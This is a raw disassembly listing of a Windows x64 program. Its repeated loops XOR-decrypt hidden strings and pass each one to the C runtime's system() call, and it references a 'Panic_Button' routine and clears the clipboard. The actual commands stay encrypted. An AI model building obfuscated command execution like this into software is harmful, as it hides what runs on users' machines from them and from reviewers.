psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x140070bb0
cmp r8d, 0x2d
jge 0x140070cf1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x140070cc0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2c70]
mov byte [rbp - 0xc], 0
lea rcx, [rbp - 0xc]
call fcn.14005e0c0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140070eb1
mov r8d, edi
cmp esi, 2
jl 0x140070e79
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140070d70
cmp r8d, 0x34
jge 0x140070eb1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140070e80
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x20d0]
mov byte [rbp - 0xb], 0
lea rcx, [rbp - 0xb]
call fcn.14005e0f0
mov r10, rax
cmp byte [rax + 0x20], 0
je 0x140071071
mov r8d, edi
cmp esi, 2
jl 0x140071039
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x20
jl 0x140070f30
cmp r8d, 0x21
jge 0x140071071
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x21
jl 0x140071040
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2b68]
mov byte [rbp - 0xa], 0
lea rcx, [rbp - 0xa]
call fcn.14005e120
mov r10, rax
cmp byte [rax + 0x2f], 0
je 0x140071233
mov r8d, edi
cmp esi, 2
jl 0x1400711f3
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov edx, edi
movdqa xmm4, xmmword [0x1400a3220]
mov rcx, r10
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp edx, 0x30
jl 0x1400710f0
jmp 0x140071233
mov r9, r10
nop word [rax + rax]
mov eax, 0x2f684bdb
lea r9, [r9 + 1]
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x30
jl 0x140071200
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2a40]
mov byte [rbp - 9], 0
lea rcx, [rbp - 9]
call fcn.14005e080
mov r10, rax
cmp byte [rax + 0x2c], 0
je 0x1400713f1
mov r8d, edi
cmp esi, 2
jl 0x1400713b9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x28
jl 0x1400712b0
cmp r8d, 0x2d
jge 0x1400713f1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x2d
jl 0x1400713c0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2ca8]
mov byte [rbp - 8], 0
lea rcx, [rbp - 8]
call fcn.14005e150
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x1400715b1
mov r8d, edi
cmp esi, 2
jl 0x140071579
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140071470
cmp r8d, 0x34
jge 0x1400715b1
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140071580
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2ce0]
mov byte [rbp - 7], 0
lea rcx, [rbp - 7]
call fcn.14005e0c0
mov r10, rax
cmp byte [rax + 0x33], 0
je 0x140071771
mov r8d, edi
cmp esi, 2
jl 0x140071739
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 0x1f
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm6, ebx
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x30
jl 0x140071630
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x34
jl 0x140071740
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x22d8]
mov byte [rbp - 6], 0
lea rcx, [rbp - 6]
call fcn.14005e180
mov r10, rax
cmp byte [rax + 0x22], 0
je 0x140071931
mov r8d, edi
cmp esi, 2
jl 0x1400718f9
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x23f0]
mov byte [rbp - 5], 0
lea rcx, [rbp - 5]
call fcn.14005e1b0
mov r10, rax
cmp byte [rax + 0x23], 0
je 0x140071af1
cmp byte [0x1400aeff4], 1
jne 0x140073bb2
xor ecx, ecx
call fcn.140007910
test al, al
je 0x140073bb2
lea rcx, str.Panic_Button
call fcn.1400161e0
cmp byte [0x1400aef77], 0
je 0x140077c3b
lea rdx, [rbp + 0x1a80]
mov byte [rbp + 0x12], 0
lea rcx, [rbp + 0x12]
call fcn.140088480
mov rbx, rax
cmp byte [rax + 0x1b], 0
je 0x140073d71
mov r8d, edi
cmp esi, 2
jl 0x140073d39
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, rbx
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140073c30
cmp r8d, 0x1c
jge 0x140073d71
movsxd r9, r8d
add r9, rbx
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x1c
jl 0x140073d40
movss xmm1, dword [0x1400a2070]
lea rcx, [rbp + 0x4e0]
movaps xmm2, xmm11
call fcn.140002fe0
mov rdx, rax
mov rcx, rbx
call fcn.140041040
test al, al
je 0x140077c12
lea rdx, [rbp + 0x3020]
mov byte [rbp + 0x13], 0
lea rcx, [rbp + 0x13]
call fcn.14005df10
mov r10, rax
cmp byte [rax + 0x5e], 0
je 0x140073f51
mov r8d, edi
cmp esi, 2
jl 0x140073f19
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x58
jl 0x140073e10
cmp r8d, 0x5f
jge 0x140073f51
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x5f
jl 0x140073f20
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, [rbp + 0x2f70]
mov byte [rbp + 0x14], 0
lea rcx, [rbp + 0x14]
call fcn.14005df80
mov r10, rax
cmp byte [rax + 0x48], 0
je 0x140074111
mov r8d, edi
cmp esi, 2
jl 0x1400740d9
movdqa xmm0, xmmword [str.1111111111111111]
mov eax, 4
movdqa xmm5, xmmword [0x1400a2240]
mov rcx, r10
movdqa xmm4, xmmword [0x1400a3220]
movdqa xmm7, xmmword [0x1400a2260]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rbp + 0xd20], xmm0
mov edx, dword [rbp + 0xd20]
movd xmm8, eax
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x48
jl 0x140073fd0
cmp r8d, 0x49
jge 0x140074111
movsxd r9, r8d
add r9, r10
nop
mov eax, 0x4bda12f7
lea r9, [r9 + 1]
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x36
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x31
xor byte [r9 - 1], al
cmp r8d, 0x49
jl 0x1400740e0
mov rcx, r10
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140074132
call qword [sym.imp.USER32.dll_EmptyClipboard]
call qword [sym.imp.USER32.dll_CloseClipboard]
lea rdx, [rbp + 0x1d60]
mov byte [rbp + 0x15], 0
lea rcx, [rbp + 0x15]
call fcn.14005de80
mov r10, rax
cmp byte [rax + 0x1f], 0
je 0x1400742f3
mov r8d, edi
cmp esi, 2
jl 0x1400742b3
movdqa xmm0, xmmword [str.1111111111111111]
mov ebx, 4
movdqa xmm5, xmmword [0x1400a2240]
mov eax, 0x1f
movdqa xmm4, xmmword [0x1400a3220]
mov edx, edi
movdqa xmm7, xmmword [0x1400a2260]
mov rcx, r10
movdqa xmmword [rbp + 0xd20], xmm0
mov r8d, dword [rbp + 0xd20]
movd xmm6, ebx
movd xmm8, eax
nop word [rax + rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400a2270]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
